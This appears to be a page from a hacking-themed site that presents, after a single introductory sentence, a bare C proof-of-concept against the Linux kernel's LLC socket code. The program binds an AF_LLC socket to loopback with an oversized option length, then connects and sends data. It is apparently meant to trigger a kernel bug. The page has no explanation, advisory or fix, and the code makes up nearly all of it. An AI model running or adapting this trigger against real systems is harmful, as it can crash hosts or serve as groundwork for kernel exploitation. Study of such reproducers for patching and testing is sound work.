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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
 
struct sockaddr_llc {
 short  sllc_family;
 short  sllc_arphrd;
 unsigned char   sllc_test;
 unsigned char   sllc_xid;
 unsigned char sllc_ua;
 unsigned char   sllc_sap;
 unsigned char   sllc_mac[6];
 unsigned char   __pad[2];
};
 
void test()
{
 int fd = socket(AF_LLC, SOCK_STREAM, 0);
 char output[32] = "lo";
 socklen_t len;
 setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &output, 0x10);
 struct sockaddr_llc addr1 = {.sllc_family = AF_LLC, .sllc_sap = 2};
 bind(fd, (const struct sockaddr *)&addr1, sizeof(struct sockaddr_llc));
 struct sockaddr_llc addr2 = {.sllc_family = AF_LLC, .sllc_sap = 2};
 connect(fd, (const struct sockaddr *)&addr2, sizeof(struct sockaddr_llc));
 
 char msg[0x10] = "aaaa";
 send(fd, msg, 0x10, 0);
}
 
int main()
{
 test();
 return 0;
}